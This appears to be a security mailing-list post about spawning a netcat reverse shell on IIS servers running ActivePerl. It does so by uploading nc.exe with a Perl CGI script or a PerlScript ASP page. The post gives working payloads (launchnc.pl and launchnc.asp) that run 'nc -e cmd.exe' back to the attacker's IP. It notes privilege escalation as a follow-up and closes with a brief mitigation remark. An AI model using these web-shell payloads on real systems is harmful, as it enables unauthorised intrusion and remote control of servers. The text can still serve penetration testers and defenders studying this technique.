Here's one for the bag-o-tricks....
Goal: Get a netcat prompt
Method: upload a script to IIS that will execute nc.exe via the web server.
Problems: No "executable/CGI" directory, inability to upload to an
"executable/CGI" directory
If you can get access to the webtree of an IIS server with ActivePerl
installed, one method to snag the coveted prompt is to upload netcat and a
perl script that will execute netcat to spawn a shell when hit via the web
browser. The perl script should just contain something like this
(launchnc.pl):
system("nc -e cmd.exe -n [myip] 25");
Unfortunately, not every web site has a cgi-bin or equivalent and you'll
get an execute permission denied. If they do have a cgi-bin, the physical
location may be 'remote' from the regular web root with little or no clue
as to where it's mapped to. Also, even unsecured or improperly configured
frontpage extensions will usually still prevent you from uploading a cgi
script even if you find a directory that's willing to execute it.
But many sites have 'scripting' enabled on nearly all directories.
An oft overlooked feature of ActivePerl is "perlscript". This is a type of
perl scripting that can be placed directly into ASP pages, and doesn't seem
to be considered a CGI type of script by IIS. The good news in a pen-test
is that you can do most of the same things using perlscript ASP as you can
in a full blown Perl CGI (launchnc.asp):
<%@ Language = PerlScript %>
<%
system("nc -e cmd.exe -n [myip] 25");
%>
Note that this will work where nc.exe is in the same directory as the
script (the lack of 'executable' permission won't bother it). If nc.exe is
somewhere else you'll have to provide a path.
So as long as you can upload to a directory with scripting enabled, you're
in business (or bid-ness, as they say where I'm from). Of course, you'll
be in the context of IUSR so standard privilege escalation procedures
apply. In addition to spawning nc, think of all the powerful tools you
could write using perlscript....
As far as I know perlscript is installed by default when ActivePerl is
installed. I haven't tried it, but it would seem that NOT installing
perlscript is the only surefire way to avoid this type of abuse. The only
thing I found on ActiveState's pages regards disabling it for client-side
vulnerabilities (which is a whole other topic).
http://aspn.activestate.com/ASPN/Reference/Products/ActivePerl/Components/Windows/PerlScript.html
(may be wrapped)
Anyway, this isn't some big discovery, but it's something I hadn't thought
of until I actually started looking at Perl on a particular IIS
host. Maybe someone else will find it useful in the wild.
-Mike
----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/
